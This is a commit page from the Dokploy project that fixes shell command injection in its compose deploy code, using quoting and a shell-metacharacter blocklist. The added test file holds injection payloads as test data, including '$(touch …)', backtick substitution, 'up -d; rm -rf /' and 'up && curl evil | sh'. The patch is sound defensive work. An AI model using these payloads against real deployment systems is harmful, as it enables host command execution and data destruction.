mirror of
https://github.com/Dokploy/dokploy.git
synced 2026-07-21 22:05:23 +02:00
fix(security): escape compose path and validate custom compose command
- composePath / appName are now passed through shell-quote in createCommand,
getCreateEnvFileCommand and services/compose.ts deploy commands, instead of
being interpolated raw into 'docker compose'/'docker stack' shell commands.
- compose.command: sanitizeCommand was cosmetic (trim + strip quotes). It now
rejects shell control characters (; & | ` $ () {} <> newline), which a normal
docker compose CLI line never contains, blocking breakout into host commands.
Closes GHSA-8r5w-vqjr-8c44, GHSA-5xv2-7f8w-9j5c, GHSA-qh6h-669j-77rw
This commit is contained in:
104
apps/dokploy/__test__/compose/compose-command-injection.test.ts
Normal file
104
apps/dokploy/__test__/compose/compose-command-injection.test.ts
Normal file
@@ -0,0 +1,104 @@
|
|||||||
|
import { execSync } from "node:child_process";
|
||||||
|
import { existsSync, rmSync } from "node:fs";
|
||||||
|
import { createCommand } from "@dokploy/server/utils/builders/compose";
|
||||||
|
import { parse, quote } from "shell-quote";
|
||||||
|
import { describe, expect, it } from "vitest";
|
||||||
|
|
||||||
|
const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
|
||||||
|
|
||||||
|
const base = {
|
||||||
|
composeType: "docker-compose" as const,
|
||||||
|
appName: "compose-app",
|
||||||
|
sourceType: "raw" as const,
|
||||||
|
command: "",
|
||||||
|
composePath: "docker-compose.yml",
|
||||||
|
};
|
||||||
|
|
||||||
|
// createCommand output is interpolated as `docker ${command}` at the deploy
|
||||||
|
// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
|
||||||
|
const runsSafely = (command: string) => {
|
||||||
|
if (existsSync(MARK)) rmSync(MARK);
|
||||||
|
try {
|
||||||
|
execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
|
||||||
|
} catch {}
|
||||||
|
const fired = existsSync(MARK);
|
||||||
|
if (existsSync(MARK)) rmSync(MARK);
|
||||||
|
return !fired;
|
||||||
|
};
|
||||||
|
|
||||||
|
const PAYLOADS = [
|
||||||
|
`$(touch ${MARK})`,
|
||||||
|
"`touch " + MARK + "`",
|
||||||
|
`x; touch ${MARK}`,
|
||||||
|
`x | touch ${MARK}`,
|
||||||
|
];
|
||||||
|
|
||||||
|
describe("compose createCommand injection", () => {
|
||||||
|
it("escapes composePath (docker-compose)", () => {
|
||||||
|
for (const p of PAYLOADS) {
|
||||||
|
const cmd = createCommand({
|
||||||
|
...base,
|
||||||
|
sourceType: "github",
|
||||||
|
composePath: p,
|
||||||
|
} as any);
|
||||||
|
expect(runsSafely(cmd)).toBe(true);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it("escapes composePath (stack deploy)", () => {
|
||||||
|
for (const p of PAYLOADS) {
|
||||||
|
const cmd = createCommand({
|
||||||
|
...base,
|
||||||
|
composeType: "stack",
|
||||||
|
sourceType: "github",
|
||||||
|
composePath: p,
|
||||||
|
} as any);
|
||||||
|
expect(runsSafely(cmd)).toBe(true);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it("escapes appName", () => {
|
||||||
|
for (const p of PAYLOADS) {
|
||||||
|
const cmd = createCommand({
|
||||||
|
...base,
|
||||||
|
sourceType: "github",
|
||||||
|
appName: p,
|
||||||
|
composePath: "docker-compose.yml",
|
||||||
|
} as any);
|
||||||
|
expect(runsSafely(cmd)).toBe(true);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it("rejects a custom command containing shell control characters", () => {
|
||||||
|
for (const bad of [
|
||||||
|
"up -d; rm -rf /",
|
||||||
|
"up && curl evil | sh",
|
||||||
|
"up $(touch x)",
|
||||||
|
"up `id`",
|
||||||
|
]) {
|
||||||
|
expect(() =>
|
||||||
|
createCommand({ ...base, command: bad } as any),
|
||||||
|
).toThrow(/Invalid characters/);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it("allows a legitimate custom command", () => {
|
||||||
|
const cmd = createCommand({
|
||||||
|
...base,
|
||||||
|
command: "compose -f docker-compose.yml -p app up -d --build",
|
||||||
|
} as any);
|
||||||
|
expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("keeps a legitimate composePath intact", () => {
|
||||||
|
const cmd = createCommand({
|
||||||
|
...base,
|
||||||
|
sourceType: "github",
|
||||||
|
composePath: "deploy/docker-compose.prod.yml",
|
||||||
|
} as any);
|
||||||
|
expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
|
||||||
|
expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
|
||||||
|
"deploy/docker-compose.prod.yml",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -33,6 +33,7 @@ import { cloneGitlabRepository } from "@dokploy/server/utils/providers/gitlab";
|
|||||||
import { getCreateComposeFileCommand } from "@dokploy/server/utils/providers/raw";
|
import { getCreateComposeFileCommand } from "@dokploy/server/utils/providers/raw";
|
||||||
import { TRPCError } from "@trpc/server";
|
import { TRPCError } from "@trpc/server";
|
||||||
import { eq } from "drizzle-orm";
|
import { eq } from "drizzle-orm";
|
||||||
|
import { quote } from "shell-quote";
|
||||||
import type { z } from "zod";
|
import type { z } from "zod";
|
||||||
import { encodeBase64 } from "../utils/docker/utils";
|
import { encodeBase64 } from "../utils/docker/utils";
|
||||||
import { getDokployUrl } from "./admin";
|
import { getDokployUrl } from "./admin";
|
||||||
@@ -472,7 +473,7 @@ export const startCompose = async (composeId: string) => {
|
|||||||
const projectPath = join(COMPOSE_PATH, compose.appName, "code");
|
const projectPath = join(COMPOSE_PATH, compose.appName, "code");
|
||||||
const path =
|
const path =
|
||||||
compose.sourceType === "raw" ? "docker-compose.yml" : compose.composePath;
|
compose.sourceType === "raw" ? "docker-compose.yml" : compose.composePath;
|
||||||
const baseCommand = `env -i PATH="$PATH" docker compose -p ${compose.appName} -f ${path} up -d`;
|
const baseCommand = `env -i PATH="$PATH" docker compose -p ${quote([compose.appName])} -f ${quote([path])} up -d`;
|
||||||
if (compose.composeType === "docker-compose") {
|
if (compose.composeType === "docker-compose") {
|
||||||
if (compose.serverId) {
|
if (compose.serverId) {
|
||||||
await execAsyncRemote(
|
await execAsyncRemote(
|
||||||
|
|||||||
@@ -67,9 +67,20 @@ Compose Type: ${composeType} ✅`;
|
|||||||
return bashCommand;
|
return bashCommand;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// Shell control characters that must never appear in a user-provided compose
|
||||||
|
// command: they would let it break out of the `docker ${command}` invocation
|
||||||
|
// into arbitrary host commands. A normal docker compose CLI line never needs them.
|
||||||
|
const UNSAFE_COMPOSE_COMMAND = /[;&|`$(){}<>\n\\]/;
|
||||||
|
|
||||||
const sanitizeCommand = (command: string) => {
|
const sanitizeCommand = (command: string) => {
|
||||||
const sanitizedCommand = command.trim();
|
const sanitizedCommand = command.trim();
|
||||||
|
|
||||||
|
if (UNSAFE_COMPOSE_COMMAND.test(sanitizedCommand)) {
|
||||||
|
throw new Error(
|
||||||
|
"Invalid characters in compose command: shell control characters are not allowed",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
const parts = sanitizedCommand.split(/\s+/);
|
const parts = sanitizedCommand.split(/\s+/);
|
||||||
|
|
||||||
const restCommand = parts.map((arg) => arg.replace(/^"(.*)"$/, "$1"));
|
const restCommand = parts.map((arg) => arg.replace(/^"(.*)"$/, "$1"));
|
||||||
@@ -88,9 +99,9 @@ export const createCommand = (compose: ComposeNested) => {
|
|||||||
let command = "";
|
let command = "";
|
||||||
|
|
||||||
if (composeType === "docker-compose") {
|
if (composeType === "docker-compose") {
|
||||||
command = `compose -p ${appName} -f ${path} up -d --build --remove-orphans`;
|
command = `compose -p ${quote([appName])} -f ${quote([path])} up -d --build --remove-orphans`;
|
||||||
} else if (composeType === "stack") {
|
} else if (composeType === "stack") {
|
||||||
command = `stack deploy -c ${path} ${appName} --prune --with-registry-auth`;
|
command = `stack deploy -c ${quote([path])} ${quote([appName])} --prune --with-registry-auth`;
|
||||||
}
|
}
|
||||||
|
|
||||||
return command;
|
return command;
|
||||||
@@ -124,8 +135,8 @@ export const getCreateEnvFileCommand = (compose: ComposeNested) => {
|
|||||||
|
|
||||||
const encodedContent = encodeBase64(envFileContent);
|
const encodedContent = encodeBase64(envFileContent);
|
||||||
return `
|
return `
|
||||||
touch ${envFilePath};
|
touch ${quote([envFilePath])};
|
||||||
echo "${encodedContent}" | base64 -d > "${envFilePath}";
|
echo "${encodedContent}" | base64 -d > ${quote([envFilePath])};
|
||||||
`;
|
`;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user